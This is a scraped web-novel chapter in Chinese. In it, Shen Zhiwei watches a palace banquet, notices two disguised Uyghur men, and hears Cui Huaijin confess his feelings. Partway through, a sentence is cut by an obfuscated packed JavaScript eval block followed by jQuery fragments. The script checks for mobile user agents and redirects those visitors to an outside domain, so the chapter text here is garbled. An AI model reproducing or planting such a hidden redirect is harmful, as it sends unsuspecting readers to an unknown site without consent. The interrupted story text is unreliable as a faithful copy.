默认冷灰
24号文字
方正启体

108.预设的‘不可能\’

作者:长老的女儿本书字数:K更新时间:
    曲江池畔灯火如昼,乐声交织着笑语,一派繁华。观众与百姓沉醉其中,欢呼与赞叹此起彼伏。沈知微立在偏殿的一隅,静静望着水光灯影交织之处,心头一片清明。她是这场秋宴大礼的幕后主创之一,对每一处安排都熟稔至极,眼见流程已然入定,便悄然收回了注意力。


    她的目光穿过起舞如飞的舞者,落在了角落里一对看似普通的男子身上。两人衣着与中原无异,俱是圆领袍衫,一副寻常文士打扮,举止谈笑间亦极为自然。但沈知微心中微动——她记得分明,这二人便是前些日子在‘锦童斋’中见过的回纥人。那日天气还凉,他们身披短款大氅,其材质乃回纥王庭独有的羊毛质地,虽强行收敛气势,仍难掩北地豪贵之气。今日若非她早有留心,换作旁人,只怕已将他们视作本地富商或世家子弟,哪里能与外族身份相联?


    沈知微收回目光,向主宾席方向微微偏头。崔怀瑾正坐在皇帝身侧数位,一袭绯色官服端然正肃,眉目如画,不动声色中自有一股从容气度。待他得空,得讲此二人之事再与他说一说,沈知微心道。


    就在这时,台上歌舞进入高潮。但见领舞,绢衣翻飞,裙摆旋舞如雪。纤细的腰肢在灯火映照下宛若能折,轻盈飞旋间恍如天上神女。漫天叫好声中,沈知微看见冷静立于另一方侧台的‘艺术指导’柳之韵。


    她今日所着,正是徐长卿之前在‘锦绣斋’挑中的那套衣裳。一袭裁剪精致的白衬衫,暗绿修身长裙曳地而行,衣摆随风微动,衬得身形愈发修长挺拔。一顶墨绿小礼帽斜斜压在前额,映得她肌肤愈发如雪,神情自有几分不染尘嚣的高冷。


    她静静而立,神色从容,如一幅水墨画中点破的绿意。只一眼,便令人记忆深刻。


    在众目睽睽之下,柳之韵并不多言,只安静地负手而立,偶尔抬手示意舞队调度,举止简练而利落。冷冷淡淡的气质之下,藏着深厚的艺术功底与控制力,台上每一道绢衣飞旋、每一次舞姿收放,皆如她所料,规整而灵动。


    沈知微在远处望着,心中暗道:果然不负这身装扮的气度。徐长卿确实是了解柳之韵的美和风姿如何体现。郎情妾意,本是好事,只是,唉!造化弄人,可怜了三娘。


    就在沈知微思绪万千中,到了歌舞表演的结尾高潮。


    整个舞台忽然空旷了下来,满曲江的观众也在疑惑中渐渐安静。众人或以目相视,或低声私语,一时之间,连风都仿佛屏住了呼吸。


    正当众人意犹未尽、心生困惑之际,忽然间,万千彩蝶如潮水般从幕后腾空而起,层层叠叠,纷纷扬扬,仿若云霞飘散、瑞气蒸腾。蝶翼流光溢彩,与日色交相辉映,顿时铺陈出一幅宛若天界仙境的奇景。


    几乎在同一时刻,众舞者如春花般绽现于舞台之上。她们衣袂飘飘,在蝶影辉映之中翩然起舞,身姿若柳,步伐如韵,仿佛百花齐放,又似仙子临凡,将整场演出推向最绚烂的巅峰。


    观众席上爆发出山呼海啸般的惊叹声,连素来沉稳的朝臣也按捺不住露出惊艳之色。皇帝高声称赏,连夸数句“好生奇巧”!


    沈知微静静立着,望着漫天飞蝶起舞,眼底却未有半分得意。她拢了拢袖子,心中还是因那两个回纥人隐隐生出几分不安。


    待歌舞散尽,人潮渐渐消退,天色已近傍晚,微凉的晚风拂过,带着百花香气。宫人们纷纷起身整理衣物,崔怀瑾在人群中不着痕迹地穿行至沈知微身旁。他瞧见沈知微薄衫单衣,眉头一皱,未多言,只从随侍手中拿过一件外氅,轻轻披在她肩头。


    “莫要着了凉。”他声音极轻,仿佛怕惊扰了这场暮色。


    沈知微一怔,下意识攥紧了半臂一角,微微垂眸,“多谢。”


    崔怀瑾似笑非笑地看了她一眼,也不多言,只携了她顺着回廊缓缓而行。地上金砖映着霞光,一步步延伸向宫门之外。行至偏僻处,崔怀瑾低声道:“方才那二人,我已遣人悄悄盯上。”


    沈知微顿了脚步,诧异侧目:“你也看到他们了?”


    她之前有让崔怀瑾派来的画师画过此二人的相貌,但毕竟只是墨画,到底比较抽象。却没想到崔怀瑾敏锐至此。


    “嗯。”崔怀瑾抬头,目光越过宫墙远眺天际暮云,“时局未稳,外族觊觎者多。今夜这番动静,不出窝才奇怪。”


    沈知微蹙眉点点头。


    二人沿着曲江缓缓而行,晚霞如火,倚在地上晕出温柔的光痕。走回崇仁坊后,沈知微沉默了片刻,忽然轻声开口:“徐少卿家中似在替他议婚。”


    崔怀瑾闻言一顿,眉眼略动:“嗯?”


    沈知微侧头看了他一眼,目光却未真落到他眼底,而是落在路边一丛月季之上,“柳大家今日那一身衣服……是徐长卿前些时日从‘锦绣斋’定做的。”


    话落,她轻轻叹了口气:“徐少卿家,应是在于三娘家中在议亲。”


    崔怀瑾未应声,只是侧头看她。二人已走到街角,街巷尽头,‘锦绣斋’静静立着。无大幅招幌,门楣上仅悬一块温润的木匾,素面乌字,寥寥两笔,风骨自成。


    门前石阶净扫如洗,一旁栽着一株小小的香樟,树影落在青砖上,斑驳得很。


    晚风微起,香樟叶轻响,别无他物。


    崔怀瑾驻足片刻,低头侧身,替沈知微推开店门。


    沈知微微微颔首,与他并肩踏入这片属于她的清寂之地。熟悉的味道迎面而来,沈知微微微放松了些。


    二人熟门熟路地穿过前堂,穿过几列整齐摆放的锦缎与成衣架子,踏上通往楼上的木梯。伙计远远瞧见,只是低头行礼。绣儿和巧儿却迎了上来,沈知微摆摆手,示意她二人无需跟着,而一直暗中护着沈知微的陈弓也退了开。


    到了三楼,崔怀瑾轻车熟路地推开一扇窗,晚霞金光泻入屋内,对着沈知微整个人笼罩下来,将


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724408|161931||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她映得柔和又恍惚。


    他取了案上摆着的小瓷壶,给沈知微斟了盏温着的果酒,又给自己斟了一盏。


    “徐少卿倾慕柳大家,已有些时日了。”他语气温和,“因此总以思念亡妻为由,一直推托旁人。能拖到今日,已是极限。”


    沈知微接过酒盏,垂眸摩挲盏沿,良久才轻声道:“可是,三娘这一生,又该如何渡过?”语气里透着一丝难以掩饰的忧伤,像初春枝头残留的一滴雨珠,轻轻坠落在心上。


    崔怀瑾放下酒盏,缓缓起身,绕到她身侧坐下,伸出手,轻轻覆上她的手背。沈知微的指尖微微一颤,却被他更紧的握住,拉近双手之间。他的手温暖、沉稳,带着久藏心底的决意。


    “所以,熙熙,”他轻声唤她,“我希望找一个倾心爱慕的女子,过一生一世。不是权衡利弊,也不是勉强将就。”


    沈知微眼睫轻颤,不敢抬头,只垂眸看着他那紧握着自己手的修长指骨。


    崔怀瑾语气一如往常的沉静,却多了一分不容置喙的认真:“你可以慢慢想。可是熙熙,别一开始就拒绝,不要因为一些预设的‘不可能’,就将一切都关在门外。”


    沈知微的指尖轻轻动了动,终是未将手抽走,只静静道:“我只是怕,怕到头来是我误了旁人。”


    崔怀瑾却低低一笑,嗓音低沉温柔:“旁人是谁?我不是。”


    她怔了一瞬,心头忽然被什么温热的情绪轻轻触碰。


    窗外夕阳西坠,风从珠帘缝隙中吹进来,吹起了桌案上的一角帛巾,也吹动了她心里某一处一直紧掩的角落。


    -------------


    盛世牡丹歌舞一场,仿佛将长安城的春日推到了极致。歌舞散去,牡丹亦随风消瘦,花期渐过,世人却仍沉溺在那一场繁华未醒。


    沈知微顺势推陈出新,以牡丹为引,裁制出一批夏日轻裳。该系列衣裳通常以素净为底,绣以出人意料处的牡丹花,或半开半藏,意象潋滟,或大开大合,繁花似锦。既承了艳光四射的余韵,又自有她一贯的冷静节制。


    这些衣裳甫一陈列,便在贵女、名门之间悄然传开,一时应接不暇。


    这一段时日里,工部果然如崔怀瑾所言,遣人来借走了‘羊毛梳理车’。工部中人做事极为小心,将其拆解细看,又反复试用,近一个月才遣人郑重送还。


    惊喜的是,除却原件,还一并奉上了两台改良过的‘梳理车’2.0,轴轮更为灵巧,梳齿间距亦有调节机制,颇具巧思。随车附来的一封《致谢信》,言辞恳切,称此物既便于织作,亦可推广百工,感激沈娘子不吝献策,特献小改以为谢意。


    沈知微拂过改良车身光滑的木纹,惊叹这个年代能工巧匠的技艺不容小觑。


    长安的风,仍是带着暮春微温,远处巷子口有童子提着纸鸢奔走,绵长天光下,一切仿佛也跟着缓缓生长起来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)